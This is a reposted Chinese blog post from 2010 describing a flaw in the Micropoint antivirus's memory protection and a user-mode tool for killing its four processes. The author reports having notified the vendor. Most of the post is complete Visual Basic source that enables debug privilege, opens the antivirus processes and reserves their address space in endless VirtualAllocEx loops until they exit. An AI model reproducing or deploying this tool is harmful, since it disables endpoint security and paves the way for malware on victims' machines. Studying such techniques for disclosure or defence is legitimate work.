驱动学习----内存管理漏洞利用之--Ring3下Kill微点

from:http://blog.sina.com.cn/s/blog_61d65e360100l709.html

驱动学习----内存管理漏洞利用之--Ring3下Kill微点

(2010-08-26 10:02:49)

转载▼

标签： 如何杀微点 内存管理 杂谈

Ring3下Kill微点主动防御软件

2010年8月24笔者发现微点在内存管理方面存在漏洞，黑客可以利用几个很常用的win32 API函数就可以结束掉其4大进程。笔者通宵写出了微点专杀工具。当然也第一时间通过邮件的方式告知微点弥补其漏洞。

同时感谢我的搭档---LiuFei

笔者使用的技术很简单
1，我们先来看下微点有哪几个进程，哦，原来就4个，其中3个是系统进程
2，因此有必要提升下自己进程的特权级，使其具备Debug效能
3，试图用OpenProcess打开微点进程，OK，特权级提升之后可以全部打开
4，试图用VirtualAllocEx划分一个地址空间看看，哈哈 令人兴奋的是居然成功
5，既然你微点没有Inline Hook相关内核函数，那么我就对不起你了
6，暴力无限划分，直到所有地址空间全部被“保留”
7，等3分钟，左右，微点4个进程全部退出，win7提示微点退出
8，成功~ 这就是思路。简单吧。

为了提高编程效率，我选择了VB 具体代码如下
窗口代码：

Private Sub Form_Initialize()
Call searchMP
End Sub

Private Sub Form_Load()
Dim currentprocess As Long
Dim a As Long
Dim retlen As Long
Dim tkp As TOKEN_PRIVILEGES
Dim oldtkp As TOKEN_PRIVILEGES
'*******************************************
currentprocess = GetCurrentProcess()
a = OpenProcessToken(currentprocess, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, CurrentProcessToken)
If a = 0 Then
MsgBox ("OpenProcessToken failed!")
End If

a = LookupPrivilegeValue("", "SeDebugPrivilege", CurrentProcessLuid)
If a = 0 Then
MsgBox ("Catch Luid failed!")
End If
'***********************************************
tkp.PrivilegeCount = 1
tkp.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
tkp.Privileges(0).pLuid.highpart = CurrentProcessLuid.highpart
tkp.Privileges(0).pLuid.lowpart = CurrentProcessLuid.lowpart

a = AdjustTokenPrivileges(CurrentProcessToken, False, tkp, LenB(oldtkp), oldtkp, retlen)
If a = 0 Then
MsgBox ("Adjust failed!")
End If

End Sub

以下是模块代码：

Public Declare Function CreateThread Lib "kernel32" (lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal dwStackSize As Long, lpStartAddress As Long, lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, _
ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, _
ByVal flProtect As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LARGE_INTEGER) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Public Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Public Declare Function Process32Next Lib "kernel32" (ByVal hSapshot As Long, lppe As PROCESSENTRY32) As Long
'*******************************************
Public Const ANYSIZE_ARRAY = 1
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_DEBUG_NAME = "SeDebugPrivilege"
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const MEM_RESERVE = 4096
Public Const PAGE_READWRITE = 4
'**********************************************
Public CurrentProcessToken As Long
Public CurrentProcessLuid As LARGE_INTEGER
'###################
Public MP1 As String
Public MP2 As String
Public MP3 As String
Public MP4 As String

Public MP1ID As Long
Public MP2ID As Long
Public MP3ID As Long
Public MP4ID As Long

Public hMP1 As Long
Public hMP2 As Long
Public hMP3 As Long
Public hMP4 As Long

Public AllocMP1 As Long
Public AllocMP2 As Long
Public AllocMP3 As Long
Public AllocMP4 As Long
'###################
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Public Type ACL
AclRevision As Byte
Sbz1 As Byte
AclSize As Integer
AceCount As Integer
Sbz2 As Integer
End Type
Public Type SECURITY_DESCRIPTOR
Revision As Byte
Sbz1 As Byte
Control As Long
Owner As Long
Group As Long
Sacl As ACL
Dacl As ACL
End Type

Public Type LUID
lowpart As Long
highpart As Long
End Type
Public Type LARGE_INTEGER
lowpart As Long
highpart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
'*************************************************
Public Const PROCESS_VM_READ = &H10
Public Const TH32CS_SNAPPROCESS = &H2
Public Const MEM_DECOMMIT = &H4000
Public Const PROCESS_Create_THREAD = (&H2)
Public Const PROCESS_VM_OPERATION = (&H8)
Public Const PROCESS_VM_WRITE = (&H20)
Public Const INFINITE = &HFFFF

Public Type PROCESSENTRY32
dwSize As Long
cntUseage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
swFlags As Long
szExeFile As String * 1024
End Type

Function searchMP()
Dim MySnapHandle As Long
Dim ProcessInfo As PROCESSENTRY32
Dim MyRemoteProcessId As Long
Dim a As Long

MP1 = "MPMon.exe"
MP2 = "MPSVC.exe"
MP3 = "MPSVC1.exe"
MP4 = "MPSVC2.exe"
MySnapHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
ProcessInfo.dwSize = Len(ProcessInfo)
If Process32First(MySnapHandle, ProcessInfo) <> 0 Then
Do
If InStr(ProcessInfo.szExeFile, MP1) > 0 _
Or InStr(ProcessInfo.szExeFile, MP2) > 0 _
Or InStr(ProcessInfo.szExeFile, MP3) > 0 _
Or InStr(ProcessInfo.szExeFile, MP4) > 0 Then
Form1.List1.AddItem (ProcessInfo.szExeFile)
Form1.List2.AddItem (ProcessInfo.th32ProcessID)
If InStr(ProcessInfo.szExeFile, MP1) > 0 Then
MP1ID = ProcessInfo.th32ProcessID
hMP1 = OpenProcess(PROCESS_ALL_ACCESS, 0, MP1ID)
If hMP1 = 0 Then
MsgBox ("Open the MPMon.exe failed !!")
End If
End If

If InStr(ProcessInfo.szExeFile, MP2) > 0 Then
MP2ID = ProcessInfo.th32ProcessID
hMP2 = OpenProcess(PROCESS_ALL_ACCESS, 0, MP2ID)
If hMP2 = 0 Then
MsgBox ("Open the MPSVC.exe failed !!")
End If
End If

If InStr(ProcessInfo.szExeFile, MP3) > 0 Then
MP3ID = ProcessInfo.th32ProcessID
hMP3 = OpenProcess(PROCESS_ALL_ACCESS, 0, MP3ID)
If hMP3 = 0 Then
MsgBox ("Open the MPSVC1.exe failed !!")
End If
End If

If InStr(ProcessInfo.szExeFile, MP4) > 0 Then
MP4ID = ProcessInfo.th32ProcessID
hMP4 = OpenProcess(PROCESS_ALL_ACCESS, 0, MP4ID)
If hMP4 = 0 Then
MsgBox ("Open the MPSVC2.exe failed !!")
End If
End If
End If
Loop While Process32Next(MySnapHandle, ProcessInfo) <> 0
End If
CloseHandle MySnapHandle
'***************************
Call AllocMemMP
End Function

Function AllocMemMP()
Dim x As Long
Dim newthreadid As Long
Dim attr As SECURITY_ATTRIBUTES
Dim sd As SECURITY_DESCRIPTOR
attr.nLength = LenB(attr)
attr.bInheritHandle = 0
attr.lpSecurityDescriptor = VarPtr(sd) '取地址
attr.bInheritHandle = 0

If hMP1 <> 0 And hMP2 <> 0 And hMP3 <> 0 And hMP4 <> 0 Then
x = CreateThread(attr, 0, StartAllocMP1, 0, 0, newthreadid) 'varptr 针对于any类型数据
x = CreateThread(attr, 0, StartAllocMP2, 0, 0, newthreadid)
x = CreateThread(attr, 0, StartAllocMP3, 0, 0, newthreadid)
x = CreateThread(attr, 0, StartAllocMP4, 0, 0, newthreadid)
Else
MsgBox ("One of the four processes of the MP AutiVirus have not been opened !!!")
End If
End Function

Function StartAllocMP1()
AllocMemSizeOne = 50000000
AllocMemSizeTwo = 500
Do
AllocMP1 = VirtualAllocEx(hMP1, 0, AllocMemSizeOne, MEM_RESERVE, PAGE_READWRITE)
Loop While AllocMP1 > 0
Do
AllocMP1 = VirtualAllocEx(hMP1, 0, AllocMemSizeTwo, MEM_RESERVE, PAGE_READWRITE)
Loop While AllocMP1 > 0
MsgBox ("MPMon.EXE has been Alloc !!")
End Function

Function StartAllocMP2()
AllocMemSizeOne = 50000000
AllocMemSizeTwo = 500
Do
AllocMP2 = VirtualAllocEx(hMP2, 0, AllocMemSizeOne, MEM_RESERVE, PAGE_READWRITE)
Loop While AllocMP2 > 0
Do
AllocMP2 = VirtualAllocEx(hMP2, 0, AllocMemSizeTwo, MEM_RESERVE, PAGE_READWRITE)
Loop While AllocMP2 > 0
MsgBox ("MPSVC.EXE has been Alloc !!")
End Function

Function StartAllocMP3()
AllocMemSizeOne = 50000000
AllocMemSizeTwo = 500
Do
AllocMP3 = VirtualAllocEx(hMP3, 0, AllocMemSizeOne, MEM_RESERVE, PAGE_READWRITE)
Loop While AllocMP3 > 0
Do
AllocMP3 = VirtualAllocEx(hMP3, 0, AllocMemSizeTwo, MEM_RESERVE, PAGE_READWRITE)
Loop While AllocMP3 > 0
MsgBox ("MPSVC1.EXE has been Alloc !!")
End Function

Function StartAllocMP4()
AllocMemSizeOne = 50000000
AllocMemSizeTwo = 500
Do
AllocMP4 = VirtualAllocEx(hMP4, 0, AllocMemSizeOne, MEM_RESERVE, PAGE_READWRITE)
Loop While AllocMP4 > 0
Do
AllocMP4 = VirtualAllocEx(hMP4, 0, AllocMemSizeTwo, MEM_RESERVE, PAGE_READWRITE)
Loop While AllocMP4 > 0
MsgBox ("MPSVC2.EXE has been Alloc !!")
End Function

以下是截图：

后续：

当然，微点肯定会弥补这个漏洞。因此这个方法会在将来某一天无效！！！！

好了，继续睡觉去